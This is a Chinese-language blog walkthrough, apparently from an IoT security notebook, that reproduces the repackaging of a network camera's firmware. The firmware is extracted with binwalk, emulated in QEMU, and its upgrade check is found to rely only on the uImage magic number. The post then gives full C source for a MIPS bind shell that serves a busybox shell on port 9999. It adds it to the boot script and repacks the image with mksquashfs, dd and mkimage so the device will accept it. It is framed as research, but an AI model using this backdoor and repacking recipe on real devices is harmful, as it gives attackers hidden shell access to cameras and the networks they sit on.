😇
牛牛的安全 Odin
  • 个人介绍
  • 数据安全
  • 工控安全
    • 工控概念
  • 车联网安全合规
    • R155
    • CSMS\VTA
    • GDPR认证
  • 车联网安全
    • 漏洞订阅
    • 汽车攻击时间轴
    • 汽车信息安全研究
      • 车厂安全需求 Custom Requirement
      • 安全威胁
      • 参考文章
      • Who’s Behind the Wheel?
      • 安全研究基础
      • 智能网联汽车安全渗透指标
      • 智能网联汽车软件安全测试关键技术研究
      • 基于硬件在环的整车控制器功能安全测试技术研究
      • 智能网联汽车信息安全解决方案
      • 自动驾驶汽车的安全性-识别挑战
    • ECU逆向案例
      • 特斯拉攻击链
      • 汽车动力系统ECU固件逆向工程初探
  • 物联网安全
    • IoT 技术和协议
    • 智能设备常规测试思路总结
    • 各种调试接口(SWD、JTAG、Jlink、Ulink、STlink)的区别
    • QEMU 系统仿真
      • 如何“用 QEMU 模拟它”
      • 处理加密的路由器固件
    • 自动分析Automated Approach
    • IOT渗透测试(一)
    • 物联网安全目录
  • 固件分析案例
    • 智能门锁、手环
      • MCU固件反汇编
      • 云丁鹿客门锁中bootloader和FreeRTOS的分析
      • 云丁鹿客门锁BLE通信的分析(下)
      • 云丁鹿客门锁BLE通信的分析(中)
      • 云丁鹿客门锁BLE通信的分析(上)
      • 华为智联旗下小豚AI摄像头的完整分析(下)
      • 华为智联旗下小豚AI摄像头的完整分析(上)
      • 海康萤石智能门锁的网关分析(4)
      • 海康萤石智能门锁的网关分析(3)
      • 海康萤石智能门锁的网关分析(2)
      • 海康萤石智能门锁的网关分析(1)
      • idapython编写和调试
      • 果加智能门锁的全面分析(下)
      • 果加智能门锁的全面分析(中)
      • 果加智能门锁的全面分析(上)
      • BLE智能手环
      • 耶鲁智能门锁的简单测试(下)
      • 耶鲁智能门锁的简单测试(上)
      • 耶鲁门锁漏洞
      • 对一款BLE灯泡的分析
      • BLE协议栈与Android BLE接口简介
    • 在IoT设备中查找端口对应进程的四种方法
    • 路由器命令执行
    • 对基于Philips TriMedia CPU的网络摄像机进行逆向工程
    • 从Microsoft Band以及 Hello Sense 设备中提取自己的历史数据
    • CVE-2021-22909- 深入研究 UBIQUITI 固件更新错误
    • 复现|摄像头固件重打包
    • Dlink_DWR-932B路由器固件分析
    • 针对小米九号平衡车的无接触式攻击
    • 记一次智能印章设备的漏洞挖掘
  • APP 逆向
    • Go二进制文件逆向分析从基础到进阶——综述
    • Switch APP逆向分析
  • 传统静态代码分析
    • 静态分析案例
      • ELF恶意软件的静态分析原理和方法(上)
      • ELF恶意软件的静态分析原理和方法(下)
    • 静态代码分析工具清单
    • 企业级静态代码分析工具清单
  • 应用安全测试
    • DAST、SAST、IAST
    • IAST 工具初探
  • 芯片架构
    • ARM指令集概念
    • ARM指令集
    • 冯·诺伊曼结构
    • 指令集
    • 处理器架构、指令集和汇编语言,三者有何关系?
  • 病毒分析
    • 熊猫烧香
  • 编程知识
    • REST API 教程
  • 流量分析工具
    • 卡巴斯基开源的智能手机流量劫持工具
    • 利用 Burp Suite 劫持 Android App 的流量(二)
    • 利用 Burp Suite 劫持 Android App 的流量(一)
  • 区块链安全
    • 安全多方计算
    • Chainalysis 团队从区块链的角度分析发现 2020 年最大的 4 起勒索软件攻击实现存在关联
  • 攻击案例
    • 特斯拉Powerwall网关可能受到黑客攻击
  • 移动应用
    • Mac上使用Charles抓包
    • 手机抓包工具汇总
    • APP渗透测试流程和技巧大全
    • 加壳和脱壳
    • 浅谈 Android Dex 文件
    • 移动应用漏洞分析样例分享
    • 移动应用常见漏洞分析
    • 移动应用漏洞分析工具介绍
    • 渗透测试流程详解 及 移动APP安全测试要点
    • Frida Android hook
  • 安全设计
    • 【软件安全设计】安全开发生命周期(SDL)
Powered by GitBook
On this page
  1. 固件分析案例

复现|摄像头固件重打包

PreviousCVE-2021-22909- 深入研究 UBIQUITI 固件更新错误NextDlink_DWR-932B路由器固件分析

Last updated 3 years ago

首先拿到摄像头后因为没有固件,于是这里直接使用编程器读取Flash芯片的内容[略],接下来就是对固件进行分析、仿真、校验分析及绕过

1 文件系统提取

首先使用Binwalk提取固件,使用如下命令提取,-M参数的意思是以递归扫描提取文件,-e则为自动提取已知文件

Binwalk -Me

从上图中可以看出文件系统类型为squashfs,压缩格式为xz

可以看到0.squashfs的大小为2886212字节

2 固件分析

首先分析一下/etc/init.d/rcS(一般rcS为启动程序)

可以看到他启动了一个goahead服务,并且挂载mtd后,启动了/mnt/mtd/startap

首先分析goahead,使用checksec命令或者file命令,可以看出是mips小端序

分析goahead程序,发现http目录的位置在/etc/webs中

在目录中发现一个可以上传固件升级的地方,他会把我们上传的固件交给cgi去处理:

注: CGI文件是通用网关接口(CGI) 脚本 由Web服务器执行以创建动态页面。 它通常是用Perl或C编程语言编写的。 CGI脚本通常存储在Web服务器上网站目录内的“ cgi-bin”文件夹中,并且只有在未预先编译的情况下才能对其进行编辑。 CGI脚本通常用于运行基本的Web脚本。

尝试访问一下该目录,发现为固件上传目录:

但如果随意上传文件,会提示如下错误:

3 环境搭建

因为提取出固件了,所以我们这使用QEMU仿真运行,首先我们使用qemu启动Debian系统,再使用chroot命令切换到摄像头固件根目录:

sudo qemu-system-mipsel -M malta -kernel ./vmlinux-3.2.0-4-4kc-malta -hda ./debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic -s

内核及镜像下载地址:

https://people.debian.org/~aurel32/qemu/mipsel/

挂载dev和proc,并chroot进固件中

启动gohead

访问刚刚我们发现的目录

4 固件上传校验分析及绕过

打开IDA,分析gohead,搜索Bad Magic Number字符串

在校验的过程中,它会获取一个地方取4个字节(Dword)与\x27\x05\x19\x56做一个字符串比较,而0x27051956正是uboot文件头的Magicnumber,与uboot的结构体对比如下

最后还需要将文件名修改为appfw

5 制作后门

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>

#define SERVER_PORT    9999 /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)  * Bind Shell using Fork for my TP-Link mr3020 router running busybox  * Arch : MIPS  * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc  */int main() {    int serverfd, clientfd, server_pid, i = 0;    char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n";    char *args[] = { "/bin/busybox", "sh", (char *) 0 };    struct sockaddr_in server, client;    socklen_t len;        server.sin_family = AF_INET;    server.sin_port = htons(SERVER_PORT);    server.sin_addr.s_addr = INADDR_ANY; 
    serverfd = socket(AF_INET, SOCK_STREAM, 0);    bind(serverfd, (struct sockaddr *)&server, sizeof(server));    listen(serverfd, 1);
    while (1) {         len = sizeof(struct sockaddr);        clientfd = accept(serverfd, (struct sockaddr *)&client, &len);        server_pid = fork();         if (server_pid) {             write(clientfd, banner,  strlen(banner));            for(; i <3 /*u*/; i++) dup2(clientfd, i);            execve("/bin/busybox", args, (char *) 0);            close(clientfd);         } close(clientfd);    } return 0;}

这里我们使用OsandaMalith的后门,并使用MIPS的GCC进行交叉编译「建议使用buildroot」

将其移动到固件的/bin目录中

最后在/etc/init.d/rcS里的export之后加上启动脚本,如下所示:

在QEMU中测试后门是否能够正常使用:

首先是使用mksquashfs将根目录打包为squashfs文件系统

wget  https://www.squashfs-lzma.org/downloads/squashfs4.2.tar.gz

在默认配置的情况下,squashfs并不支持xz,这里我们修改一下Makefile使其支持XZ格式

另外还需要下载一个支持包并安装,地址如下:

wget https://tukaani.org/xz/xz-5.2.5.tar.gz./configuremake && sudo make install

安装squashfs-tools

最后使用如下命令打包文件系统:

mksquashfs squashfs-root/ my.bin -comp xz -b 256k

其中参数解析如下:

comp 参数可以指定压缩的格式 -b  可以指定 文件块大小(最小128K) 这里指定的数值越小, 压缩出来的文件越大

因为文件大小和之前的不相同,这里使用00进行填充

dd if=my.bin of=my.bin.ov bs=2949120 conv=sync

因为我们还缺少一个uImage头,所以还需要mkimage工具帮助我们生成uimage头

安装:sudo apt-get install u-boot-tools -y

生成uImage

mkimage -A MIPS -O linux -T kernel -C lzma -a 0x80000000 -e 0x803B8000 -n "rootfs" -d my.bin uImage

但是当尝试升级的时候依旧提示:

猜测可能是load address和entry point地址错误,通过串口调试,可以得到加载内核时的load address 和 entry address,然后使用mkimage重新生成固件

mkimage -A MIPS -O linux -T kernel -C lzma -a 0x80010000 -e 0x803a3f90 -n "rootfs" -d my.bin uImage

7 总结

感谢w22师傅的耐心指导,在复现该漏洞时,主要难点在于要分析出这是uImage头校验,以及在打包uImage时的load addr和entry point地址

可以看到我们在使用qemu仿真MIPS摄像头时,需要输入很长的命令,并每次都配置挂载点、IP等等,这里推荐一个docker版的qemu:

欢迎star:

https://github.com/yywz1999/myQemu

6 固件重打包

图片